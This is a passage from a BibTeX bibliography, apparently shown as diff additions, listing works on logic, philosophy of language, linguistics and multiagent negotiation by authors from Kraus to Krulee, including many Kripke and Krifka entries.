McKeown}, + pages = {179--184}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {distributed-AI;negotiation;} + } + +@article{ kraus_s-etal:1995a, + author = {Sarit Kraus and Jonathan Wilkenfeld and Gilad Zlotkin}, + title = {Multiagent Negotiation under Time Constraints}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {2}, + pages = {297--345}, + topic = {distributed-AI;negotiation;} + } + +@article{ kraus_s:1997a, + author = {Sarit Kraus}, + title = {Negotiation and Cooperation in Multi-Agent Environments}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {94}, + number = {1--2}, + pages = {79--97}, + topic = {cooperation;negotiation;distributed-systems;artificial-societies;} + } + +@article{ kraus_s-etal:1998a, + author = {Sarit Kraus and Katia Sycara and Amir Evenchik}, + title = {Reaching Agreements through Argumentation: A Logical + Model and Implementation}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {1--69}, + topic = {argumentation;negotiation;} + } + +@book{ kraus_s:2001a, + author = {Sarit Kraus}, + title = {Strategic Negotiation in Multiagent Environments}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-11264-7 (hardback)}, + topic = {cooperation;negotiation;distributed-systems;artificial-societies;} + } + +@incollection{ krause:2002a, + author = {Peter Krause}, + title = {An Algorithm for Processing Referential Definite + Descriptions in Dialogue Based on Abductive Inference}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {77--84}, + address = {Edinburgh}, + topic = {abduction;definite-descriptions;DRT;} + } + +@book{ krause_p1-clark_d:1993a, + author = {Paul Krause and Dominic Clark}, + title = {Representing Uncertain Knowledge: An Artificial Intelligence + Approach}, + publisher = {Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + ISBN = {0792324331}, + topic = {reasoning-about-knowledge;kr;} + } + +@incollection{ krause_p1:1999a, + author = {Peter Krause}, + title = {Identification Language Games}, + booktitle = {Proceedings of the Twelfth {A}msterdam Colloquium}, + publisher = {ILLC/Department of Philosophy, University + of Amsterdam}, + year = {1999}, + editor = {Paul Dekker}, + pages = {13--18}, + address = {Amsterdam}, + topic = {object-identification;discourse;knowing-who;} + } + +@book{ krause_p2-clark:1993a, + author = {Paul Krause and Dominic Clark}, + title = {Representing Uncertain Knowledge: An Artificial Intelligence + Approach}, + publisher = {Dordrecht ; Kluwer Academic Publishers}, + year = {1993}, + address = {Dordrecht}, + ISBN = {0792324331}, + topic = {resoning-about-uncertainty;} + } + +@incollection{ krauss-fussell:1991a, + author = {Robert M. Krauss and Susan R. Fussell}, + title = {Constructing Shared Communicative Environments}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {172--200}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@article{ kraut_r:1979a, + author = {Robert Kraut}, + title = {Attitudes and Their Objects}, + journal = {Journal of Philosophical Logic}, + year = {1979}, + volume = {8}, + number = {2}, + pages = {197--217}, + topic = {propositional-attitudes;} + } + +@incollection{ kraut_r:1986a, + author = {Robert Kraut}, + title = {Love {\em De Re}}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {413--430}, + address = {Minneapolis}, + topic = {emotion;reference;} + } + +@article{ kraut_r:1996a, + author = {Robert Kraut}, + title = {Review of {\em Modalities: Philosophical Essays}, by {R}uth + {B}arcan {M}arcus}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {5}, + pages = {243--248}, + topic = {modal-logic;intensionality;} + } + +@article{ kraut_re-johnston_re:1979a, + author = {Robert E. Kraut and Robert E. Johnston}, + title = {Social and Emotional Messages of Smiling: An + Ethological Approach}, + journal = {Journal of Personality and Social Psychology}, + volume = {37}, + number = {9}, + pages = {1539--1553}, + year = {1979}, + topic = {facial-expression;emotion;} + } + +@article{ kreisel:1984a, + author = {George Kreisel}, + title = {Frege's Foundations and Intuitionistic Logic}, + journal = {The Monist}, + year = {1984}, + volume = {67}, + number = {1}, + pages = {72--91}, + topic = {Frege;intuitionistic-logic;foundations-of-mathematics;} + } + +@incollection{ kreitz:1998a, + author = {C. Kreitz}, + title = {Program Synthesis}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {III}, Applications}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;software-engineering; + automatic-programming;} + } + +@unpublished{ kremer_m:1984a, + author = {Michael Kremer}, + title = {`{I}f' is Unambiguous}, + year = {1984}, + month = {May}, + note = {Unpublished MS, Philosophy Department, University of + Pittsburgh.}, + topic = {conditionals;} + } + +@article{ kremer_m:1988a, + author = {Michael Kremer}, + title = {Kripke and the Logic of Truth}, + journal = {Journal of Philosophical Logic}, + year = {1988}, + volume = {17}, + number = {3}, + pages = {225--278}, + topic = {truth;semantic-paradoxes;} + } + +@article{ kremer_m:1994a, + author = {Michael Kremer}, + title = {The Argument of `On Denoting'}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {2}, + pages = {249--297}, + topic = {on-denoting;Russell;} + } + +@article{ kremer_m:1997a, + author = {Michael Kremer}, + title = {Marti on Descriptions in {C}arnap's {S}2}, + journal = {Journal of Philosophical Logic}, + year = {1997}, + volume = {26}, + number = {6}, + pages = {629--634}, + contentnote = {Improves a defense of Marti's against a criticism of + Follesdal's of Carnap's modal logic. See follesdal:1969a, + marti:1995a.}, + topic = {Carnap;modal-logic;definite-descriptions;} + } + +@article{ kremer_p:1989a, + author = {Philip Kremer}, + title = {Relevant Predication: Grammatical Characterizations}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {4}, + pages = {349--382}, + topic = {relevance-logic;relevant-predication;} + } + +@article{ kremer_p:1993a, + author = {Philip Kremer}, + title = {Quantifying Over Propositions in Relevance Logic: + Nonaxiomatizability of Primary Interpretations of + $\forall p$ and $\exists p$}, + journal = {The Journal of Symbolic Logic}, + year = {1993}, + volume = {58}, + number = {1}, + pages = {334--349}, + topic = {relevance-logic;propositional-quantifiers;} + } + +@article{ kremer_p:1993b, + author = {Philip Kremer}, + title = {The {G}upta-{B}elnap Systems $S''$ and $S*$ are Not + Axiomatizable}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1993}, + volume = {34}, + number = {4}, + pages = {583--596}, + topic = {truth;} + } + +@article{ kremer_p:1997a, + author = {Philip Kremer}, + title = {Propositional Quantification in the Topological Semantics + for {S4}}, + journal = {Notre {D}ame Journal of Formal Logic}, + year = {1997}, + volume = {38}, + number = {2}, + pages = {295--312}, + topic = {propositional-quantifiers;modal-logic;} + } + +@article{ kremer_p:1997b, + author = {Philip Kremer}, + title = {On the Complexity of Propositional Quantification in + Intuitionistic Logic}, + journal = {The Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {2}, + pages = {529--544}, + topic = {intuitionistic-logic;propositional-quantifiers;} + } + +@article{ kremer_p:1997c, + author = {Philip Kremer}, + title = {Defining Relevant Implication in Propositionally + Quantified {S}4}, + journal = {The Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + number = {4}, + pages = {1057--1069}, + topic = {modal-logic;relevance-logic;propositional-quantifiers;} + } + +@article{ kremer_p:1997d, + author = {Philip Kremer}, + title = {Defining Relevant Implication in a Propositionally + Quantified {S4}}, + journal = {Journal of Symbolic Logic}, + year = {1997}, + volume = {62}, + pages = {1057--1069}, + number = {4}, + topic = {relevance-logic;modal-logic;propositional-quantifiers;} + } + +@article{ kremer_p:1997e, + author = {Philip Kremer}, + title = {Dunn's Relevant Predication, Real Properties, + and Identity}, + journal = {Erkenntnis}, + year = {1997}, + volume = {47}, + pages = {37--65}, + missinginfo = {number}, + topic = {relevance-logic;real-properties;property-theory;} + } + +@unpublished{ kremer_p:1998a, + author = {Philip Kremer}, + title = {Relevant Identity: A Technical Result}, + year = {1998}, + note = {Unpublished manuscript, Yale University}, + topic = {relevance-logic;identity;} + } + +@unpublished{ kremer_p:1998b, + author = {Philip Kremer}, + title = {Dynamic Topological Logic}, + year = {1998}, + note = {Unpublished manuscript, Yale University}, + topic = {dynamic-logic;modal-logic;temporal-logic;} + } + +@article{ kremer_p:1999a, + author = {Philip Kremer}, + title = {Relevant Identity}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {190--222}, + topic = {relevance-logic;identity;} + } + +@techreport{ kreppe:1988b, + author = {Anneke Kreppe}, + title = {A Blissymbolics Translation Program}, + institution = {Institute for Language, Logic and Information, University + of Amsterdam}, + number = {LP--88--10}, + year = {1988}, + address = {Faculty of Mathematics and Computer Science, Roeterssraat 15, + 1018WB Amsterdam, Holland}, + topic = {communicating-with-the-handicapped;} + } + +@book{ kreps:1988a, + author = {David M. Kreps}, + title = {Notes on the Theory of Choice}, + publisher = {Westview Press}, + year = {1988}, + address = {Boulder, Colorado}, + topic = {utility-theory;decision-theory;} + } + +@book{ kreps:1990a, + author = {David M. Kreps}, + title = {A Course in Microeconomic Theory}, + publisher = {Princeton University Press}, + year = {1990}, + address = {Princeton, New Jersey}, + topic = {utility-theory;decision-theory;game-theory;} + } + +@book{ kreps:1990b, + author = {David M. Kreps}, + title = {Game Theory and Economic Modelling}, + publisher = {Oxford University Press}, + year = {1990}, + address = {Oxford, England}, + ISBN = {0198283571}, + topic = {game-theory;} + } + +@book{ kretzmann-etal:1982a, + editor = {Norman Kretzmann and Anthony Kenny and Jan Pinborg}, + title = {Cambridge History of Later {M}edieval Philosophy: from + the Rediscovery of {A}ristotle to the Disintegration of + Scholasticism 1100--1600}, + publisher = {Cambridge University Press}, + year = {1982}, + address = {Cambridge, England}, + ISBN = {0521226058}, + topic = {medieval-philosophy;} + } + +@incollection{ kreutel-matheson:2002a, + author = {J\"orn Kreutel and Colin Matheson}, + title = {From Dialogue Acts to Dialogue Act Offers: Building + Discourse Structure as an Argumentative Process}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {85--92}, + address = {Edinburgh}, + topic = {speech-acts;argumentation;} + } + +@incollection{ kreuz-etal:1998a, + author = {R.J. Kreuz and M.A. Kassler and L. Coppenrath}, + title = {The Use of Exaggeration in Discourse: Cognitive and + Social Facets}, + booktitle = {Social and Cognitive Approaches to Interpersonal + Communication}, + publisher = {Lawrence Erlbaum}, + year = {1998}, + editor = {S.R. Fussell and R.J. Kreuz}, + pages = {91---111}, + address = {Mahwah, New Jersey}, + missinginfo = {A's 1st name, E's 1st name.}, + topic = {exaggeration;cognitive-psychology;} + } + +@incollection{ krieger_hu-nerbonne:1993a, + author = {Hans-Ulrich Krieger and John Nerbonne}, + title = {Feature-Based Inheritance Networks for Computational Lexicons}, + booktitle = {Inheritance, Defaults, and the Lexicon}, + publisher = {Cambridge University Press}, + year = {1993}, + editor = {Ted Briscoe and Valeria de Paiva and Ann Copestake}, + pages = {90--136}, + address = {Cambridge, England}, + topic = {inheritance;computational-lexicography;} + } + +@book{ krieger_mh:1989a, + author = {Martin H. Krieger}, + title = {Marginalism and Discontinuity}, + publisher = {Russell Sage Foundation}, + year = {1989}, + address = {New York}, + topic = {philosophy-of-science;sociology-of-science;} + } + +@techreport{ krifka:1987a, + author = {Manfred Krifka}, + title = {An Outline of Genericity}, + institution = {Seminar f\"r Nat\"urlich-sprachliche Systems}, + number = {87--25}, + year = {1987}, + address = {Biesingerstrasse 10, 7400 T\"ubingen, Germany}, + topic = {generics;} + } + +@incollection{ krifka:1989a, + author = {Manfred Krifka}, + title = {Nominal Reference, Temporal Consitution, and + Quantification in Event Semantics}, + booktitle = {Semantics and Contextual Expression}, + editor = {Renate Bartsch and Johan van Benthem and Peter van Emde + Boas}, + publisher = {Foris Publications}, + address = {Dordrecht}, + year = {1989}, + missinginfo = {pages}, + topic = {events;nl-tense;nl-quantifiers;} + } + +@article{ krifka:1990a, + author = {Manfred Krifka}, + title = {Four Thousand Ships Passed Through the Lock: + Object-Induced Measure Functions on Events}, + journal = {Linguistics and Philosophy}, + year = {1990}, + volume = {13}, + number = {5}, + pages = {487--520}, + topic = {events;Aktionsarten;measures;} + } + +@inproceedings{ krifka:1991a, + author = {Manfred Krifka}, + title = {A Compositional Semantics for Multiple Focus Constructions}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {I}}, + year = {1991}, + editor = {Steven Moore and {Adam Zachary} Wyner}, + pages = {127--158}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {sentence-focus;pragmatics;} + } + +@incollection{ krifka:1992a, + author = {Manfred Krifka}, + title = {Thematic Relations as Links Between Nominal Reference and + Temporal Constitution}, + booktitle = {Lexical Matters}, + publisher = {University of Chicago Press}, + year = {1992}, + editor = {Ivan Sag and Anna Szabolski}, + pages = {30--52}, + topic = {thematic-roles;aspect;} + } + +@article{ krifka:1993a, + author = {Manfred Krifka}, + title = {Focus and Presupposition in Dynamic Interpretation}, + journal = {Journal of Semantics}, + year = {1993}, + volume = {10}, + pages = {269--300}, + topic = {s-focus;dynamic-semantics;} + } + +@inproceedings{ krifka:1994a, + author = {Manfred Krifka}, + title = {The Semantics and Pragmatics of Weak and + Strong Polarity Items in Assertions}, + booktitle = {Proceedings from Semantics and Linguistic Theory + {IV}}, + year = {1994}, + editor = {Mandy Harvey and Lynn Santelmann}, + pages = {195--219}, + publisher = {Cornell University}, + address = {Ithaca, New York}, + note = {Available from CLC Publications, Department of Linguistics, + Morrill Hall, Cornell University, Ithaca, NY 14853-4701.}, + topic = {nl-semantics;polarity;} + } + +@incollection{ krifka:1995a, + author = {Manfred Krifka}, + title = {Focus and the Interpretation of Generic Sentences}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {238--264}, + address = {Chicago, IL}, + topic = {sentence-focus;generics;} + } + +@incollection{ krifka:1995b, + author = {Manfred Krifka}, + title = {Common Nouns: A Contrastive Analysis of {E}nglish + and {C}hinese}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + year = {1995}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + pages = {398--411}, + address = {Chicago, IL}, + topic = {semantics-of-common-nouns;English-language;Chinese-language;} + } + +@incollection{ krifka-etal:1995a, + author = {Manfred Krifka and Francis Jeffrey Pelletier and Gregory + Carlson and Alice {ter Meulen} and Gennaro Chierchia and + Godehard Link}, + title = {Genericity: An Introduction}, + booktitle = {The Generic Book}, + publisher = {Chicago University Press}, + editor = {Gregory Carlson and Francis Jeffrey Pelletier}, + year = {1995}, + pages = {1--124}, + address = {Chicago, IL}, + topic = {generics;} + } + +@article{ krifka:1996a, + author = {Manfred Krifka}, + title = {Parameterized Sum Individuals for Plural Anaphora}, + journal = {Linguistics and Philosophy}, + year = {1996}, + volume = {19}, + number = {6}, + pages = {555--598}, + topic = {dynamic-semantics;plural;anaphora;} + } + +@article{ krifka:2001a, + author = {Manfred Krifka}, + title = {Quantifying into Question Acts}, + journal = {Natural Language Semantics}, + year = {2001}, + volume = {9}, + number = {1}, + pages = {1--40}, + topic = {nl-quantifiers;nl-quantifier-scope;interrogatives;} + } + +@article{ kripke:1959a, + author = {Saul A. Kripke}, + title = {A Completeness Theorem in Modal Logic}, + journal = {Journal of Symbolic Logic}, + year = {1959}, + volume = {24}, + pages = {1--14}, + number = {1}, + topic = {modal-logic;completeness-theorems;} + } + +@unpublished{ kripke:1960a, + author = {Saul A. Kripke}, + title = {The Undecidability of Monadic Modal Quantification Theory}, + year = {1960}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {quantifying-in-modality;undecidability;} + } + +@article{ kripke:1963a, + author = {Saul A. Kripke}, + title = {Semantical Analysis of Modal Logic {I}: Normal Modal + Propositional Calculi}, + journal = {Zeitschrift f\"ur Mathematische Logik und + Grundlagen der Mathematik}, + year = {1963}, + volume = {9}, + pages = {67--96}, + missinginfo = {number.}, + topic = {modal-logic;completeness-theorems;} + } + +@article{ kripke:1963b, + author = {Saul A. Kripke}, + title = {Semantic Considerations on Modal Logic}, + journal = {Acta Philosophica {F}ennica}, + year = {1963}, + volume = {24}, + pages = {83--94}, + missinginfo = {number.}, + topic = {modal-logic;completeness-theorems;} + } + +@incollection{ kripke:1965a, + author = {Saul A. Kripke}, + title = {A Semantical Analysis of Modal Logic {II}: Non-Normal + Propositional Calculi}, + booktitle = {The Theory of Models}, + publisher = {North-Holland}, + year = {1965}, + editor = {Leon Henkin and Alfred Tarski}, + pages = {206--220}, + address = {Amsterdam}, + topic = {modal-logic;completeness-theorems;} + } + +@incollection{ kripke:1965b, + author = {Saul A. Kripke}, + title = {Semantical Analysis of Intuitionistic Logic}, + booktitle = {Formal Systems and Recursive Functions}, + editor = {John Crossley and Michael A.E. Dummett}, + publisher = {North-Holland}, + address = {Amsterdam}, + pages = {92--130}, + year = {1965}, + topic = {intuitionistic-logic;} + } + +@incollection{ kripke:1971a, + author = {Saul Kripke}, + title = {Identity and Necessity}, + booktitle = {Identity and Individuation}, + publisher = {New York University Press}, + year = {1971}, + editor = {Milton K. Munitz}, + pages = {135--164}, + address = {New York}, + topic = {identity;individuation;modal-logic;} + } + +@unpublished{ kripke:1971b, + author = {Saul Kripke}, + title = {Quantified Modality and Essentialism}, + year = {1971}, + note = {Unpublished manuscript.}, + missinginfo = {Date is a guess.}, + topic = {quantifying-in-modality;essentialism;} + } + +@incollection{ kripke:1972a, + author = {Saul Kripke}, + title = {Naming and Necessity}, + booktitle = {Semantics of Natural Language}, + publisher = {D. Reidel Publishing Co.}, + year = {1972}, + editor = {Gilbert Harman and Donald Davidson}, + pages = {253--355}, + address = {Dordrecht}, + title = {Untitled}, + year = {1972}, + note = {Unpublished manuscript on empty names and empty predicates.}, + topic = {free-logic;(non)existence;fiction;} + } + +@article{ kripke:1975a, + author = {Saul Kripke}, + title = {Outline of a Theory of Truth}, + journal = {Journal of Philosophy}, + year = {1975}, + volume = {72}, + pages = {690--715}, + missinginfo = {number.}, + topic = {truth;semantic-paradoxes;fixpoints;} + } + +@incollection{ kripke:1976a, + author = {Saul Kripke}, + title = {Is There a Problem about Substitutional Quantification?}, + booktitle = {Truth and Meaning: Essays in Semantics}, + publisher = {Oxford University Press}, + year = {1976}, + editor = {Gareth Evans and John H. McDowell}, + pages = {325--419}, + address = {Oxford}, + topic = {substitutional-quantification;truth-definitions;} + } + +@incollection{ kripke:1977a1, + author = {Saul Kripke}, + title = {Speaker's Reference and Semantic Reference}, + booktitle = {Midwest Studies in Philosophy}, + year = {1977}, + editor = {Peter A. French and Thomas {Uehling, Jr.} and Howard + K. Wettstein}, + note = {Volume 2: Studies in Semantics.}, + missinginfo = {publisher, address, pages}, + xref = {Republication: kripke:1977a2.}, + topic = {reference;referring-expressions;definite-descriptions; + philosophy-of-language;} + } + +@incollection{ kripke:1977a2, + author = {Saul Kripke}, + title = {Speaker's Reference and Semantic Reference}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard + K. Wettstein}, + pages = {6--27}, + address = {Minneapolis}, + xref = {Republication of: kripke:1977a1.}, + topic = {reference;referring-expressions;definite-descriptions; + philosophy-of-language;} + } + +@incollection{ kripke:1978a, + author = {Saul Kripke}, + title = {Speaker's Reference and Semantic Reference}, + booktitle = {Contemporary Perspectives in the Philosophy of Language}, + publisher = {University of Minnesota Press}, + year = {1978}, + editor = {Peter A. French and Theodore E. Uehling, Jr. and Howard + K. Wettstein}, + pages = {6--27}, + address = {Minneapolis}, + topic = {definite-descriptions;pragmatics;} + } + +@incollection{ kripke:1979a, + author = {Saul A. Kripke}, + title = {A Puzzle about Belief}, + booktitle = {Meaning and Use: Papers Presented at the Second + {J}erusalem Philosophy Encounter}, + publisher = {D. Reidel Publishing Co.}, + year = {1979}, + editor = {Avishai Margalit}, + pages = {239--288}, + address = {Dordrecht}, + topic = {propositional-attitudes;belief;Pierre-puzzle;} + } + +@book{ kripke:1982a, + author = {Saul A. Kripke}, + title = {Wittgenstein on Rules and Private Language}, + publisher = {Harvard University Press}, + year = {1982}, + address = {Cambridge, Massachusetts}, + topic = {Wittgenstein;philosophy-of-language;} + } + +@article{ krips:1989a, + author = {H. Krips}, + title = {Irreducible Probabilities and Indeterminism}, + journal = {Journal of Philosophical Logic}, + year = {1989}, + volume = {18}, + number = {2}, + pages = {155--172}, + topic = {quantum-logic;} + } + +@unpublished{ krishnaprasad-etal:1988a1, + author = {Thirunarayan Krishnaprasad and Michael Kifer and + David S. Warren}, + title = {On the Declarative Semantics of Inheritance Networks}, + year = {1988}, + note = {Unpublished manuscript, Computer Science Department, State + University of New York at Stony Brook}, + xref = {Conference publication: krishnaprasad-etal:1988a2.}, + topic = {inheritance-theory;} + } + +@inproceedings{ krishnaprasad-etal:1988a2, + author = {Thirunarayan Krishnaprasad and Michael Kifer and David Warren}, + title = {On the Declarative Semantics of Inheritance Networks}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1098--1103}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + xref = {Republication of: krishnaprasad-etal:1988a1.}, + topic = {inheritance-theory;} + } + +@inproceedings{ krishnaprasad-warren:1988a, + author = {Thirunarayan Krishnaprasad and David S. Warren}, + title = {An Evidence-Based Framework for a Theory of Inheritance}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + missinginfo = {pages}, + topic = {inheritance-theory;} + } + +@phdthesis{ krishnaprasad:1989a, + author = {Thirunarayan Krishnaprasad}, + title = {The Semantics of Inheritance Networks}, + school = {Computer Science Department, State University of New + York at Stony Brook}, + year = {1989}, + type = {Ph.{D}. Dissertation}, + address = {Stony Brook, New York}, + topic = {inheritance-theory;} + } + +@inproceedings{ krishnaprasad-kifer:1989b, + author = {Thirunarayan Krishnaprasad and Michael Kifer}, + title = {An Evidence Based Theory of Inheritance}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1093--1098}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, CA}, + topic = {inheritance-theory;} + } + +@book{ kroch:1975a, + author = {Anthony Kroch}, + title = {The Semantics of Scope in {E}nglish}, + publisher = {Indiana University Linguistics Club}, + year = {1982}, + address = {310 Lindley Hall, Bloomington, Indiana}, + topic = {nl-quantifier-scope;nl-semantics;} + } + +@techreport{ krock-joshi:1985a, + author = {Anthony Krock and Arivind Joshi}, + title = {The Linguistic Rlevance of Tree Adjoining Grammar}, + institution = {Department of Computer and Information Science, + University of Pennsylvania}, + number = {MS--CIS--85--16}, + year = {1985}, + topic = {TAG-grammar;} + } + +@incollection{ krogh-jones:1998a, + author = {Cristen Krogh and A. Jones}, + title = {Protocol Breaches and Violation Flaws}, + booktitle = {Norms, Logics and Information Systems. New Studies in + Deontic Logic and Computer Science}, + publisher = {IOS Press}, + year = {1998}, + editor = {Henry Prakken and Paul McNamara}, + pages = {265--274}, + address = {Amsterdam}, + topic = {deontic-logic;prima-facie-obligation;} + } + +@inproceedings{ krogh:1999a, + author = {Christen Krogh}, + title = {Abstract: On the Role of Action Logics and + Deontic Logics in Specifying Protocols}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Practical Reasoning and Rationality}, + year = {1999}, + editor = {John Bell}, + pages = {28--29}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {deontic-logic;action-formalisms;} + } + +@inproceedings{ kronfeld:1986a, + author = {Amicai Kronfeld}, + title = {Donnellan's Distinction and a Computational + Model of Reference}, + booktitle = {Proceedings of the 24th Meeting of the Association for + Computational Linguistics}, + year = {1986}, + editor = {Alan W. Biermann}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Morristown, New Jersey}, + missinginfo = {pages}, + topic = {reference;definite-descriptions;referring-expressions; + pragmatics;} + } + +@book{ kronfeld:1990a, + author = {Amicai Kronfeld}, + title = {Reference and Computation: An Essay in Applied Philosophy + of Language}, + publisher = {Cambridge University Press}, + series = {Studies in Natural Language Processing}, + year = {1990}, + address = {Cambridge, England}, + topic = {reference;nl-interpretation;nl-generation;} + } + +@incollection{ kronz:2000a, + author = {Frederick M. Kronz}, + title = {Chaos in a Model of an Open Quantum System}, + booktitle = {{PSA}'1998: Proceedings of the 1998 Biennial Meetings + of the Philosophy of Science Association, Part {II}: + Symposium Papers}, + publisher = {Philosophy of Science Association}, + year = {2000}, + editor = {Don A. Howard}, + pages = {S446--S453}, + address = {Newark, Delaware}, + topic = {quantum-chaos;} + } + +@article{ kroon:1980a, + author = {Frederick W. Kroon}, + title = {Review of {\it Advanced Logic for Applications}, by + {R}ichard {E}. {G}randy}, + journal = {Linguistics and Philosophy}, + year = {1980}, + volume = {3}, + number = {3}, + pages = {415--418}, + xref = {Review of grandy_re:1977b.}, + topic = {logic-intro;} + } + +@article{ kroon:1999a, + author = {Frederick W. Kroon}, + title = {Review of {\it An Introduction to Philosophical Logic}, + by {A}.{C}. {G}rayling}, + journal = {Studia Logica}, + year = {1999}, + volume = {63}, + number = {1}, + pages = {445--448}, + xref = {Review of: grayling:1999a.}, + topic = {philosophical-logic;} + } + +@article{ kroon:2000a, + author = {Frederick W. Kroon}, + title = {Review of {\it Definite Descriptions: A Reader}, by + {G}ary {O}stering}, + journal = {Studia Logica}, + year = {2000}, + volume = {65}, + number = {3}, + pages = {435--439}, + xref = {Review of: ostering:1998a.}, + topic = {definite-descriptions;} + } + +@inproceedings{ krovetz:1997a, + author = {Robert Krovetz}, + title = {Homonymy and Polysemy in Information Retrieval}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {72--79}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {nl-polysemy;information-retrieval;} + } + +@article{ krovetz:2000a, + author = {Robert Krovetz}, + title = {Viewing Morphology as an Inference Process}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {118}, + number = {1--2}, + pages = {277--294}, + acontentnote = {Abstract: + Morphology is the area of linguistics concerned with the + internal structure of words. Information retrieval has generally + not paid much attention to word structure, other than to account + for some of the variability in word forms via the use of + stemmers. We report on our experiments to determine the + importance of morphology, and the effect that it has on + performance. We found that grouping morphological variants + makes a significant improvement in retrieval performance. + Improvements are seen by grouping inflectional as well as + derivational variants. We also found that performance was + enhanced by recognizing lexical phrases. We describe the + interaction between morphology and lexical ambiguity, and how + resolving that ambiguity will lead to further improvements in + performance. + } , + topic = {information-retrieval;lexical-semantics;disambiguation;} + } + +@book{ kruglanski:1989a, + author = {Arie W. Kruglanski}, + title = {Lay Epistemics and Human Knowledge: Cognitive and + Motivational Bases}, + publisher = {Plenum Press}, + year = {1989}, + address = {New York}, + ISBN = {0306430789}, + topic = {social-psychology;} + } + +@article{ kruijff:1998a, + author = {Geert-Jan M. Kruijff}, + title = {Review of {\em Labelled Deductive Systems}, + by {D}ov {M}. {G}abbay}, + journal = {Journal of Logic, Language, and Information}, + year = {1998}, + volume = {7}, + number = {4}, + pages = {502--506}, + topic = {labelled-deductive-systems;} + } + +@article{ kruijffkorbayova:2000a, + author = {Ivanna Kruijff-Korbayov\'a}, + title = {Review of {\em The Syntactic Phenomena of {E}nglish}, + by {J}ames {D}. {M}c{C}awley}, + journal = {Journal of Logic, Language, and Information}, + year = {2000}, + volume = {10}, + number = {2}, + pages = {263--266}, + xref = {Review of: mccawley:1998a.}, + topic = {nl-syntax;English-language;} + } + +@incollection{ kruijffkorbayova-etal:2002a, + author = {Ivana Kruijff-Korbayov\'a and Elena Karagjosova and + Staffan Larsson}, + title = {Enhancing Collaboration with Conditional Responses in + Information-Seeking Dialogues}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {93--100}, + address = {Edinburgh}, + contentnote = {This is a SIRIDUS paper. Conditional responses are + things like "No if you want to fly economy."}, + topic = {computational-dialogue;cooperation;} + } + +@book{ krulee:1987a, + author = {Gilbert K. Krulee}, + title = {Two-Level Processing of Natural Language}, + publisher = {Indiana University Linguistics Club}, + year = {1987}, + address = {Bloomington, Indiana}, + ISBN = {0127472207}, + topic 